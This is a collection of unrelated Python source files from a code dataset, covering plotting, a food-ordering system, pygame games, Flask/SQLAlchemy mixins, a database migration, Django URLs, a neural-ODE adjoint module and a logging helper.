+{"seq_id":"643899038","text":"import matplotlib.pylab as plt\r\n\r\n\r\nNs = []\r\ndts = []\r\nmems = []\r\n\r\ntitulo = \"caso 2 double\"\r\n\r\nfor i in range(10):\t\r\n\tfid = open(f\"rendimiento {titulo}{i}.txt\", \"r\")\t\r\n\r\n\tfor line in fid:\r\n\t\tsl = line.split()\r\n\t\tN = int(sl[0])\r\n\t\tdt = float(sl[1])\r\n\t\tmem = int(sl[2])\r\n\r\n\t\tNs.append(N)\r\n\t\tdts.append(dt)\r\n\t\tmems.append(mem)\r\n\r\n\tfid.close()\r\n\r\n\r\nejed_Tiempo = [1e-4, 1e-3, 1e-2, 1e-1, 1, 10, 60, 600]\r\neje_Tiempo = [\"0.1 ms\",\"1 ms\", \"10 ms\", \"0.1 s\", \"1 s\", \"10 s\", \"1 min\", \"10 min\"]\r\n\r\nejedx_Uso = [10, 20, 50, 100, 200, 500, 1000, 2000, 5000, 10000, 20000]\r\nejex_Uso = [\"10\",\"20\", \"50\", \"100\",\"200\", \"500\", \"1000\", \"2000\", \"5000\", \"10000\", \"20000\"]\r\n\r\nejedy_Uso = [1e3, 1e4, 1e5, 1e6, 1e7, 1e8, 1e9, 1e10, 1e11]\r\nejey_Uso = [\"1 KB\",\"10 KB\", \"100 KB\", \"1 MB\",\"10 MB\", \"100 MB\", \"1 GB\", \"10 GB\", \"\"]\r\n\r\n\r\nplt.figure()\r\n\r\n#gráfico tiempo transcurrido\r\n\r\nplt.subplot(2, 1, 1) #dos filas 1 columna\r\nplt.title(f\"Desempeño {titulo}\")\r\n\r\nM = 10\r\nfor i in range(M):\r\n\tplt.loglog(Ns[i*M:(i+1)*M], dts[i*M:(i+1)*M], marker=\"o\")\r\nplt.ylabel(\"Tiempo transcurrido (s)\")\r\n#plt.loglog(Ns, dts, marker=\"o\")\r\nplt.xticks(ejedx_Uso, [])\r\nplt.yticks(ejed_Tiempo, eje_Tiempo)\r\n\r\nplt.grid(b=True)\r\n\r\n#gráfico uso de memoria\r\n\r\nplt.subplot(2, 1, 2)\r\n\r\nplt.xlabel(\"Tamaño matriz N\")\r\nplt.ylabel(\"Uso memoria (s)\")\r\nplt.loglog(Ns, mems, marker=\"o\")\r\nplt.xticks(ejedx_Uso, ejex_Uso, rotation=45)\r\nplt.yticks(ejedy_Uso, ejey_Uso)\r\nplt.axhline(y=8*10**9 , linestyle=\"--\", color=\"k\")\r\n\r\nplt.grid(b=True)\r\n\r\n\r\n\r\nplt.show()\r\n\r\n\r\n","sub_path":"Entrega 3/Casos 2/double/Gráficos_inv_caso2_double.py","file_name":"Gráficos_inv_caso2_double.py","file_ext":"py","file_size_in_byte":1504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"45213827","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Make the curation list.\"\"\"\n\nimport os\n\nimport click\nimport yaml\n\nimport bioregistry\nfrom bioregistry.constants import DOCS_DATA\n\nitems = sorted(bioregistry.read_registry().items())\n\n\ndef _g(predicate):\n    return [\n        {\n            'prefix': bioregistry_id,\n            'name': bioregistry.get_name(bioregistry_id),\n        }\n        for bioregistry_id, bioregistry_entry in items\n        if predicate(bioregistry_id, bioregistry_entry)\n    ]\n\n\n@click.command()\ndef curation():\n    \"\"\"Make curation list.\"\"\"\n    missing_wikidata_database = _g(lambda prefix, entry: entry.get('wikidata', {}).get('database') is None)\n    missing_pattern = _g(lambda prefix, entry: bioregistry.get_pattern(prefix) is None)\n    missing_format_url = _g(lambda prefix, entry: bioregistry.get_format(prefix) is None)\n    missing_example = _g(lambda prefix, entry: bioregistry.get_example(prefix) is None)\n\n    with open(os.path.join(DOCS_DATA, 'curation.yml'), 'w') as file:\n        yaml.safe_dump(\n            {\n                'wikidata': missing_wikidata_database,\n                'pattern': missing_pattern,\n                'formatter': missing_format_url,\n                'example': missing_example,\n            },\n            file,\n        )\n\n\nif __name__ == '__main__':\n    curation()\n","sub_path":"src/bioregistry/make_curation_list.py","file_name":"make_curation_list.py","file_ext":"py","file_size_in_byte":1302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"618026464","text":"from src.order import Order\nfrom src.menu_items import MenuItem\nfrom src.sides import Side\nfrom src.mains import Main,Wrap,SingleBurger,DoubleBurger,TripleBurger,Burger\nfrom src.drinks import Drink\nfrom src.stock import Stock\nfrom src.errors import *\n\n\nclass System():\n    def __init__(self,stock=None):\n\n        if stock is None:\n            self._stock = Stock()\n        else:\n            self._stock = stock\n\n        self._orders = []\n        self._completed = []\n        #self._curr_id = 0\n\n    def check_status(self,ID):\n        order = self.get_order(ID)\n        completed_order = self.get_completed_order(ID)\n        if (order is None and completed_order is None):\n            raise InvalidID(\"No order exists for ID of:\" + str(ID))\n\n        if order is None:\n            return True\n        else:\n            return False\n\n    def get_orders(self):\n        return self._orders\n\n    def get_completed(self):\n        return self._completed\n\n    def get_completed_order(self,ID):\n        for order in self._completed:\n            if (order.get_ID() == ID):\n                return order\n\n        return None\n\n    def get_stock(self):\n        return self._stock\n\n    def update_status(self,ID):\n        updating_order = self.get_order(ID)\n        updating_order.set_status(True)\n        self._completed.append(updating_order)\n        self.remove_order(ID)\n\n    def get_order(self,ID):\n        for order in self._orders:\n            if (order.get_ID() == ID):\n                return order\n\n        return None\n\n    def generate_id(self):\n        ID = len(self._orders) + len(self._completed) + 1\n        #self._curr_id += 1\n        return ID\n\n\n    def new_order(self, id):\n        new_order = Order()\n\n        new_order.set_ID(id)\n        self._orders.append(new_order)\n\n        return new_order\n\n\n    def remove_order(self,ID):\n        self._orders.remove(self.get_order(ID))\n\n\n    def update_stock(self,item,quantity):\n        self._stock.update_item(item,quantity)\n\n\n    def max_allowed(self, item):\n        return self._stock.get_item_stock(item)\n\n    def check_stocks(self,order, stocks):\n        errors = []\n        order_list = order.get_order_list()\n\n        for item in order_list:\n            if (isinstance(item,Wrap)):\n                stocks['Wrap'] -= 1\n\n            if (isinstance(item,Main)):\n                for ingredient in item.get_ingredients():\n                    stocks[ingredient] -= item.get_ingredients()[ingredient]\n\n            elif (item.get_name() == \"Small fries\"):\n                 stocks[\"Fries\"] -= 75\n\n            elif (item.get_name() == \"Medium fries\"):\n                stocks[\"Fries\"] -= 125\n\n            elif (item.get_name() == \"Large fries\"):\n                stocks[\"Fries\"] -= 175\n\n            elif (item.get_name() == \"Small orange juice\"):\n                stocks[\"Orange juice\"] -= 250\n\n            elif (item.get_name() == \"Medium orange juice\"):\n                stocks[\"Orange juice\"] -= 450\n\n            elif (item.get_name() == \"Large orange juice\"):\n                stocks[\"Orange juice\"] -= 600\n\n            elif (item.get_name() == \"Nuggets 3P\"):\n                stocks[\"Nuggets\"] -= 3\n\n            elif (item.get_name() == \"Nuggets 6P\"):\n                stocks[\"Nuggets\"] -= 6\n\n            elif (item.get_name() == \"Small chocolate sundae\"):\n                stocks[\"Chocolate sundae\"] -= 200\n\n            elif (item.get_name() == \"Medium chocolate sundae\"):\n                stocks[\"Chocolate sundae\"] -= 300\n\n            elif (item.get_name() == \"Large chocolate sundae\"):\n                stocks[\"Chocolate sundae\"] -= 380\n\n            elif (item.get_name() == \"Small strawberry sundae\"):\n                stocks[\"Strawberry sundae\"] -= 200\n\n            elif (item.get_name() == \"Medium strawberry sundae\"):\n                stocks[\"Strawberry sundae\"] -= 300\n\n            elif (item.get_name() == \"Large strawberry sundae\"):\n                stocks[\"Strawberry sundae\"] -= 380\n\n            else:\n                stocks[item.get_name()] -= 1\n\n\n        for item in stocks:\n            if (stocks[item] < 0):\n                    errors.append('Amount of ' + item + ' selected exceeds existing stock amount. Please create a new order')\n\n        if (len(errors) != 0):\n            return False, stocks, errors\n        else:\n            return True, stocks, errors\n\n    def confirm_order(self,my_order):\n        valid_order, stock_copy, errors = self.check_stocks(my_order,self._stock.get_stock().copy())\n        if valid_order == False:\n            raise OrderError(errors)\n        if (len(my_order.get_order_list()) == 0):\n            raise OrderError(\"Your order has no items.\")\n\n        my_order.set_confirmed(True)\n        #self._orders.append(my_order)\n        self._stock.set_stock(stock_copy)\n        return True, my_order.get_ID()\n\n    def add_to_order(self, item, ID):\n        order = self.get_order(ID)\n        order.add_item(item)\n\n    def get_main_list(self):\n        burger = SingleBurger()\n\n        ingredients = []\n\n        for ingredient in burger.get_ingredient_prices():\n            ingredients.append(ingredient)\n\n        return ingredients\n\n    def get_sidelist(self):\n        eg_side = Side(\"Small fries\")\n        sidelist = []\n\n        for key,value in eg_side._side_prices.items():\n            sidelist.append(key)\n        return sidelist\n\n\n    def get_drinklist(self):\n        eg_drink = Drink(\"Coke can\")\n        drinklist = []\n\n        for key,value in eg_drink._drink_prices.items():\n            drinklist.append(key)\n        return drinklist\n","sub_path":"FrontEnd/src/system.py","file_name":"system.py","file_ext":"py","file_size_in_byte":5517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"4215277","text":"import pygame\nfrom GameObject import GameObject\nimport random\n\nclass Player(GameObject):\n    @staticmethod\n    def init():\n        Player.image = pygame.image.load('images/player1.png').convert_alpha()\n\n    @staticmethod\n    def isValid(row,col, rows, cols, board):\n        if row<0 or col<0 or row>=rows or col>=cols:\n            return False\n        elif board[row][col]>0:\n                return False\n        return True\n\n    def __init__(self,row,col,cellSize,board):\n        self.life=2\n        self.bombCount=2\n        self.cellSize=cellSize\n        self.row=row\n        self.col=col\n        self.rows=self.cols=15\n        self.board=board\n        image = pygame.transform.scale(Player.image, (int(self.cellSize), int(self.cellSize)))\n        self.x=(self.col+.5)*self.cellSize\n        self.y=(self.row+.5)*self.cellSize\n        super(Player, self).__init__(self.x, self.y, image, self.cellSize/2)\n\n    def update(self,keysDown,screenWidth,screenHeight):\n        if keysDown(pygame.K_LEFT):\n            newR=self.row\n            newC=self.col-1\n            if Player.isValid(newR,newC, self.rows, self.cols,self.board):\n                self.row,self.col=newR,newC\n\n\n        if keysDown(pygame.K_RIGHT):\n            newR=self.row\n            newC=self.col+1\n            if Player.isValid(newR,newC, self.rows, self.cols,self.board):\n                self.row,self.col=newR,newC\n\n        if keysDown(pygame.K_UP):\n            newR=self.row-1\n            newC=self.col\n            if Player.isValid(newR,newC, self.rows, self.cols,self.board):\n                self.row,self.col=newR,newC\n        if keysDown(pygame.K_DOWN):\n            newR=self.row+1\n            newC=self.col\n            if Player.isValid(newR,newC, self.rows, self.cols,self.board):\n                self.row,self.col=newR,newC\n        self.x=(self.col+.5)*self.cellSize\n        self.y=(self.row+.5)*self.cellSize\n        super().update(screenWidth, screenHeight)\n","sub_path":"playersettings.py","file_name":"playersettings.py","file_ext":"py","file_size_in_byte":1936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"120917689","text":"#encoding=utf-8\r\nfrom cn.edustar.jitar.data import BaseQuery\r\nfrom cn.edustar.jitar.pojos import LeaveWord\r\n\r\nclass LeaveWordQuery(BaseQuery):\r\n    \r\n    def __init__(self, selectFields):\r\n        BaseQuery.__init__(self, selectFields)\r\n        self.objId = None      # 用户或者群组的标识.\r\n        self.objType = None   # 用户或者群组的留言\r\n        self.orderType = 0  # 缺省按照 id 逆序排列.\r\n        \r\n        \r\n    def initFromEntities(self, qctx):\r\n        qctx.addEntity(\"LeaveWord\" , \"lwd\", \"\")\r\n\r\n    def applyWhereCondition(self , qctx):\r\n        if self.objId != None:\r\n            qctx.addAndWhere(\"lwd.objId = :objId\")\r\n            qctx.setInteger(\"objId\", self.objId)\r\n        if self.objType != None:\r\n            qctx.addAndWhere(\"lwd.objType = :objType\")\r\n            qctx.setInteger(\"objType\", self.objType)\r\n\r\n    def applyOrderCondition(self, qctx):\r\n        if self.orderType == 0:\r\n            qctx.addOrder(\"lwd.id DESC\")\r\n","sub_path":"WebContent/WEB-INF/jython/leaveword_query.py","file_name":"leaveword_query.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"43277224","text":"#!/usr/bin/python3\n# _*_ coding=utf-8 _*_\n# python basic scripts\n\nfrom my_python_basic.chapter10_class.class_2_method import Person\nfrom my_python_basic.chapter10_class import Manager\n\nif __name__ == '__main__':\n    bob = Person('Bob Smith', 42, 30000)\n    sue = Person('Sue Jones', 45, 40000)\n    tom = Manager('Tom Doe', 50, 50000)\n    db = [bob, sue, tom]      #不同的类形成的实例，可以组合在一起\n    for obj in db:\n        obj.giveraise(0.2)   #Person和Manager类的实例都拥有giveraise这个方法\n        print(obj.getlastname(), '=>', obj.pay)\n","sub_path":"my_python_basic/chapter10_class/class_5_duotai.py","file_name":"class_5_duotai.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"350057972","text":"#! -*- coding: utf-8 -*-\nfrom datetime import datetime, date\nimport logging\nfrom flask.ext.babel import format_date, format_datetime\nfrom flask.ext.wtf import Form\nfrom lib.constants import LOCAL_DATE_FORMAT, LOCAL_DATETIME_FORMAT\nfrom sqlalchemy import ForeignKey\nfrom sqlalchemy.ext.declarative import declared_attr\nfrom sqlalchemy.orm import relationship\nimport ujson\n\nfrom app import db, rd, app\nfrom lib.timezones import to_local_time, to_local_format\nimport wtforms\n\n\nclass AutoSerialize(object):\n    'Mixin for retrieving public fields of model in json-compatible format'\n    __public__ = None\n    __private__ = ('is_moderated', 'moderator_id')\n\n    def get_public(self, exclude=(), extra=(), key_prefix='',\n                   date_format=LOCAL_DATE_FORMAT,\n                   datetime_format=LOCAL_DATETIME_FORMAT):\n        \"Returns model's PUBLIC data for jsonify\"\n\n        # TODO: move it to decorator\n        # Get from cache if is cacheable\n        is_cacheable = False\n        if isinstance(self, Cached):\n            is_cacheable = True\n            cache_extra_label = 'serialized'\n            if exclude or extra:\n                cache_extra_label += ':{}_{}'.format(''.join(exclude), ''.join(extra))\n            cached_value = self.get_from_cache(label=cache_extra_label)\n            if cached_value:\n                return cached_value\n\n        data = {}\n        keys = self._get_keys(key_prefix=key_prefix)\n        public = self._get_public_keys(key_prefix=key_prefix)\n        private = self._get_private_keys(key_prefix=key_prefix)\n\n        # Get serialized data\n        for k in set(extra + keys + public):\n            if (k in extra and self._is_in_scope(key_prefix, k)) or \\\n                (k not in extra and self._is_public(k, public, private + exclude)):\n                key = self._remove_prefix(k)\n                value = getattr(self, key)\n                if not callable(value):\n                    data[key] = self._serialize(\n                        value,\n                        key_prefix=self._add_prefix(key_prefix, key),\n                        exclude=exclude,\n                        extra=extra,\n                        date_format=date_format,\n                        datetime_format=datetime_format\n                    )\n\n        # Save to cache\n        if is_cacheable:\n            self.add_to_cache(label=cache_extra_label, value=data)\n\n        return data\n\n    def get_key_names(self):\n        return self._get_keys(key_prefix='')\n\n    def _is_public(self, key, public, exclude):\n        return bool(public and key in public or key not in exclude)\n\n    def _is_in_scope(self, prefix, key):\n        return key == self._add_prefix(prefix, self._remove_prefix(key))\n\n    def _get_keys(self, key_prefix):\n        all_keys = []\n        sa_keys = self._sa_instance_state.attrs.keys()\n        available = (int, str, unicode, bool, dict, list, tuple, set, date, db.Model)\n        for k in dir(self):\n            if k.startswith('_') or k in sa_keys or not isinstance(getattr(self, k), available):\n                continue\n            all_keys.append(k)\n        return tuple(set([self._add_prefix(key_prefix, key) for key in all_keys + sa_keys]))\n\n    def _add_prefix(self, prefix, key):\n        if not prefix:\n            return key\n        return '.'.join([prefix, key])\n\n    def _remove_prefix(self, key):\n        return key[ key.rfind('.') + 1: ]\n\n    def _get_private_keys(self, key_prefix):\n        private = self.__private__ or ()\n        private += AutoSerialize.__private__\n        return tuple([self._add_prefix(key_prefix, k) for k in private])\n\n    def _get_public_keys(self, key_prefix):\n        public = self.__public__ or ()\n        return tuple([self._add_prefix(key_prefix, k) for k in public])\n\n    def _serialize(self, value, key_prefix='', exclude=(), extra=(), date_format=None, datetime_format=None):\n\n        if isinstance(value, datetime):\n            ret = self.serialize_datetime(value, key_prefix=key_prefix, datetime_format=datetime_format)\n\n        elif isinstance(value, date):\n            ret = self.serialize_date(value, key_prefix=key_prefix, date_format=date_format)\n\n        elif type(value) == dict:\n            ret = {}\n            for k, v in value.items():\n                ret[k] = self._serialize(v, key_prefix=key_prefix, extra=extra, exclude=exclude,\n                                         date_format=date_format, datetime_format=datetime_format)\n\n        elif hasattr(value, '__iter__'):\n            ret = []\n            for v in value:\n                ret.append(\n                    self._serialize(v, key_prefix=key_prefix, extra=extra, exclude=exclude, date_format=date_format,\n                                    datetime_format=datetime_format)\n                )\n\n        elif isinstance(value, AutoSerialize):\n            ret = value.get_public(\n                exclude=exclude,\n                extra=extra,\n                key_prefix=key_prefix,\n                date_format=date_format,\n                datetime_format=datetime_format\n            )\n\n        else:\n            ret = value\n\n        return ret\n\n    def serialize_datetime(self, value, key_prefix, datetime_format=LOCAL_DATETIME_FORMAT):\n        value = to_local_time(value)\n        return format_datetime(value, datetime_format, rebase=False)\n\n    def serialize_date(self, value, key_prefix, date_format=LOCAL_DATE_FORMAT):\n        return format_date(value, date_format, rebase=False)\n\n\nclass AutoPopulate(object):\n    'Mixin for auto-populating fields of model'\n    def populate(self, **kwargs):\n        'Use with caution, pass here validated data ONLY!'\n        for attr in (a for a in dir(self) if not a.startswith('_')):\n            if attr in kwargs:\n                setattr(self, attr, kwargs[attr])\n\n\nclass Dated(object):\n    @declared_attr\n    def created_at(cls):\n        return db.Column(db.DateTime, default=datetime.utcnow, index=True)\n\n    @declared_attr\n    def updated_at(cls):\n        return db.Column(db.DateTime, default=datetime.utcnow, index=True)\n\n\nclass Cached(object):\n    def _get_key(self, label=None):\n        attrs = [self.__tablename__, str(self.id)]\n        if label:\n            attrs.append(label)\n\n        return ':'.join(attrs)\n\n    def invalidate_cache(self):\n        keys = rd.keys(self._get_key() + '*')\n        if keys:\n            return rd.delete(*keys)\n        return True\n\n    def add_to_cache(self, value, label=None):\n        if type(value) != str:\n            value = ujson.dumps(value)\n        key = self._get_key(label=label)\n        resp = rd.set(name=key, value=value)\n        rd.expire(name=key, time=app.config['CACHE_KEY_EXPIRE'])\n\n        return resp\n\n    def get_from_cache(self, label=None):\n        str_value = rd.get(name=self._get_key(label=label))\n        return ujson.loads(str_value) if str_value else str_value\n\n\nclass LabeledErrors(wtforms.Form):\n    @property\n    def errors(self):\n        errors = super(LabeledErrors, self).errors.copy()\n        for key in errors.keys():\n            label = self._fields[key].label.text\n            if label:\n                errors[label] = errors[key]\n                del errors[key]\n\n        return errors","sub_path":"lib/mixins.py","file_name":"mixins.py","file_ext":"py","file_size_in_byte":7161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"300802614","text":"\"\"\"Proposal video blogpost\n\nRevision ID: 1195a2789872\nRevises: 3c47ba103724\nCreate Date: 2014-02-23 02:36:49.955698\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '1195a2789872'\ndown_revision = '3c47ba103724'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n    ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('proposal', sa.Column('blog_post', sa.Unicode(250), server_default=u'', nullable=False))\n    op.alter_column('proposal', 'blog_post', server_default=None)\n    op.add_column('proposal', sa.Column('preview_video', sa.Unicode(250), server_default=u'', nullable=False))\n    op.alter_column('proposal', 'preview_video', server_default=None)\n    ### end Alembic commands ###\n\n\ndef downgrade():\n    ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column('proposal', 'preview_video')\n    op.drop_column('proposal', 'blog_post')\n    ### end Alembic commands ###\n","sub_path":"alembic/versions/1195a2789872_proposal_video_blogp.py","file_name":"1195a2789872_proposal_video_blogp.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"63454812","text":"from django.conf.urls import patterns, include, url\nfrom aste_core import views\nfrom django.contrib import admin\n\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n\turl(r'^$',views.index),\n\t#url(r'^index$',views.index),\n\turl(r'^search',views.search,name='search'),\n\turl(r'^account',views.account,name='account'),\n\turl(r'^offerte',views.offerte,name='offerte'),\n\turl(r'^sell_object/$',views.sell_object,name='ll'),\n\turl(r'^item/(?P<pk>[0-9]+)(?P<mess>.*)',views.show_item,name='show'),\n\turl(r'^bid',views.bid,name='bid'),\n\turl(r'^compra_subito',views.compra_subito,name='compra_subito'),\n\turl(r'(?P<str>.*)/',views.kk,name='kk'),\n)\n","sub_path":"aste/aste_core/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"327544737","text":"from obj_class import Obj\r\nfrom menu_class import Menu\r\nimport pygame\r\n\r\npygame.init()\r\npygame.font.init()\r\n\r\n#Creating table\r\n\r\nwindow = pygame.display.set_mode((500,530))\r\npygame.display.set_caption(\"Simple Window\")\r\n\r\n#Creating canvas\r\nscreen=pygame.Surface((500,500))\r\ninfo_string = pygame.Surface((500,30))\r\n\r\n#Creating objects\r\nhuman = Obj(50,300,\"Human.png\")\r\naim =Obj(150,50,\"aim.png\")\r\naim.step= 1\r\naim.go_right=True\r\n\r\narrow = Obj(0,0,\"arrow.png\")\r\narrow.ready = True\r\n\r\n# Creating a menu\r\npunkts = [(120,140,u'Game',(250,250,30),(250,30,250),0),(130,210,u'EXIT',(250,250,30),(250,30,250),1)]\r\n\r\ngame = Menu(punkts)\r\n\r\n\r\nscore = 0\r\nspeed_info = pygame.font.Font(None,32)\r\n\r\n\r\n\r\ndef Intersect(x1,x2,y1,y2):\r\n    if (x1 > x2-50) and (x1 < x2+50) and (y1 > y2-50) and (y1 < y2+50):\r\n        return 1\r\n    else:\r\n        return 0\r\n\r\n\r\ndone = True\r\n\r\npygame.key.set_repeat(1,1)\r\n\r\nwhile done:\r\n\r\n\r\n    #processing events\r\n    for incident in pygame.event.get() :\r\n        if(incident.type == pygame.QUIT):\r\n            done = False\r\n\r\n\r\n        if (incident.type == pygame.KEYDOWN):\r\n            if incident.key == pygame.K_ESCAPE:\r\n                game.menu(screen,window)\r\n\r\n            if incident.key == pygame.K_LEFT and human.posX != 0:\r\n                human.posX-= 1\r\n\r\n            if incident.key == pygame.K_RIGHT and human.posX != 363:\r\n                human.posX+= 1\r\n\r\n            if incident.key == pygame.K_UP and human.posY!=0:\r\n                human.posY -= 1\r\n\r\n            if incident.key == pygame.K_DOWN and human.posY != 340:\r\n                human.posY += 1\r\n\r\n            if incident.key == pygame.K_SPACE and arrow.ready:\r\n                arrow.ready=False\r\n\r\n                if not arrow.ready:\r\n                    arrow.posY = human.posY - 30\r\n                    arrow.posX = human.posX + 45\r\n\r\n\r\n\r\n\r\n\r\n        #########\r\n        #Processing mouse motion\r\n        if incident.type == pygame.MOUSEMOTION:\r\n            pygame.mouse.set_visible(False)\r\n            position = pygame.mouse.get_pos()\r\n\r\n            human.posX = position[0]\r\n            human.posY = position[1]\r\n\r\n        if incident.type == pygame.MOUSEBUTTONDOWN:\r\n            if incident.button == 1:\r\n                arrow.ready = False\r\n                arrow.posX = human.posX + 45\r\n                arrow.posY = human .posY -30\r\n\r\n\r\n\r\n    #move a target\r\n    if aim.go_right:\r\n        aim.posX+=aim.step\r\n        if aim.posX > 400:\r\n            aim.go_right=False\r\n\r\n\r\n    else:\r\n        aim.posX -= aim.step\r\n        if aim.posX < 0 :\r\n            aim.go_right = True\r\n    ##########\r\n\r\n\r\n    ### checking condition of arrow\r\n    if not arrow.ready:\r\n        arrow.posY-=1\r\n        arrow.display_obj(screen, arrow.posX, arrow.posY, arrow)\r\n\r\n        if arrow.posY == 0:\r\n            score -= 1\r\n            arrow.ready = True\r\n\r\n    if Intersect(arrow.posX, aim.posX, arrow.posY, aim.posY):\r\n        aim.step+=0.5\r\n        arrow.ready = True\r\n        arrow.posX,arrow.posY = -40 , -60\r\n        score+=1\r\n\r\n\r\n    #show objects\r\n    aim.display_obj(screen, aim.posX, aim.posY, aim)\r\n    human.display_obj(screen,human.posX,human.posY,human)\r\n\r\n    #blitting objects and canvas\r\n    info_string.blit(speed_info.render(u\"Счёт:\" + str(score) +\" \"*10+  \"Speed :\" + str(aim.step),1,(20,120,200)),(10,5))\r\n\r\n    window.blit(info_string, (0, 0))\r\n    window.blit(screen,(0,30))\r\n\r\n    screen.fill((0, 100, 100))\r\n    info_string.fill((240, 100, 255))\r\n\r\n\r\n\r\n\r\n    pygame.display.flip()\r\n\r\n\r\n\r\n","sub_path":"main_game1.py","file_name":"main_game1.py","file_ext":"py","file_size_in_byte":3491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"492066158","text":"# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"\nAdjoint template and variations of the adjoint technique\n\"\"\"\n\nimport torch\nimport torch.nn as nn\nfrom torchdiffeq import odeint\n\n\ndef flatten(iterable):\n    sol = torch.zeros(1) if len(iterable) == 0 else torch.cat([el.contiguous().flatten() for el in iterable])\n    return sol\n\nclass ODEAdjointFunc:\n    \"\"\" Define the vector field of the augmented adjoint dynamics to be then integrated **backward**. An `Adjoint` object is istantiated into the `NeuralDE` if the adjoint method for back-propagation was selected.\n    :param s: current depth\n    :type s: float\n    :param adjoint_state: tuple of four tensors constituting the *augmented adjoint state* to be integrated: `h` (hidden state of the neural ODE), `λ` (Lagrange multiplier), `μ` (loss gradient state), `s_adj` (adjoint state of the integration depth)\n    :type adjoint_state: tuple of tensors\n    \"\"\"\n    def __init__(self, f, g=None):\n        self.f, self.g = f, g\n\n    def solve_forward(self, s, z):\n        return self.f(s, z)\n\n    def solve_backward(self, s, adjoint_state):\n        z, λ, μ, s_adj = adjoint_state[0:4]\n        # temporarily removed\n        # s = s.to(h.device).requires_grad_(True)  \n        with torch.set_grad_enabled(True):\n            z = z.requires_grad_(True)\n            dzds = self.f(s, z)\n            dλds = torch.autograd.grad(dzds, z, -λ, allow_unused=True, retain_graph=True)[0]\n            dμds = torch.autograd.grad(dzds, tuple(self.f_params), -λ, allow_unused=True, retain_graph=True)\n            if not self.g is None:\n                dgdh = torch.autograd.grad(self.g(s, z).sum(), z, allow_unused=True, retain_graph=True)[0]\n                dλds = dλds - dgdh\n            ds_adjds = torch.tensor(0.).to(z)\n            # Safety checks for `None` gradients\n            dμds = torch.cat([el.flatten() if el is not None else torch.zeros_like(p) for el, p in zip(dμds, self.f_params)]).to(z)\n        return (dzds, dλds, dμds, ds_adjds)\n    \n\nclass Adjoint(nn.Module):\n    \"\"\"Adjoint class template.\n    :param intloss: `nn.Module` specifying the integral loss term\n    :type intloss: nn.Module\n    \"\"\"\n    def __init__(self, f, g=None):\n        super().__init__()\n        self._adjoint_func = ODEAdjointFunc(f, g)\n\n    def _init_adjoint_state(self, sol, *grad_output):\n        λ0 = grad_output[-1][0]\n        s_adj0 = torch.tensor(0.).to(λ0)\n        μ0 = torch.zeros_like(flatten(self._adjoint_func.f_params))\n        return (sol[-1], λ0, μ0, s_adj0)\n\n    def _wrap_func_autograd(self, s_span, rtol, atol, method, options):\n        class autograd_adjoint(torch.autograd.Function):\n            @staticmethod\n            def forward(ctx, h0, flat_params, s_span):\n                sol = odeint(self._adjoint_func.solve_forward, h0, s_span, rtol=rtol, atol=atol,\n                             method=method, options=options)\n                ctx.save_for_backward(s_span, sol)\n                return sol[-1]\n\n            @staticmethod\n            def backward(ctx, *grad_output):\n                s, sol = ctx.saved_tensors\n                adj0 = self._init_adjoint_state(sol, grad_output)\n                adj_sol = odeint(self._adjoint_func.solve_backward, adj0, s_span.flip(0),\n                               rtol=rtol, atol=atol, method=method, options=options)\n                λ = adj_sol[1]\n                μ = adj_sol[2]\n                return (λ, μ, None)\n        return autograd_adjoint\n\n    \n    def forward(self, func, h0, s_span, rtol=1e-4, atol=1e-4, method='dopri5', options={}):\n        if not isinstance(func, nn.Module):\n            raise ValueError('func is required to be an instance of nn.Module.')\n        h0 = h0.requires_grad_(True)\n        self._adjoint_func.f_params = list(func.parameters())\n\n        flat_params = flatten(self._adjoint_func.f_params)\n        self._wrapped_adjoint_func = self._wrap_func_autograd(s_span, rtol, atol, method, options)\n        sol = self._wrapped_adjoint_func.apply(h0, flat_params, s_span)\n        return sol\n\n\n","sub_path":"torchdyn/numerics/adjoint.py","file_name":"adjoint.py","file_ext":"py","file_size_in_byte":4529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"357597619","text":"#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\nimport os\r\nimport logging\r\n\r\n# set log\r\ndef get_file_log(logFileName):\r\n    logger = logging.getLogger(os.path.abspath(logFileName))\r\n    hdlr = logging.FileHandler(logFileName)\r\n    formatter = logging.Formatter('%(asctime)s %(levelname)s:: %(message)s')\r\n    hdlr.setFormatter(formatter)\r\n    logger.addHandler(hdlr)\r\n    logger.setLevel(logging.INFO)\r\n    return logger\r\n","sub_path":"pycode/CheckLog.py","file_name":"CheckLog.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
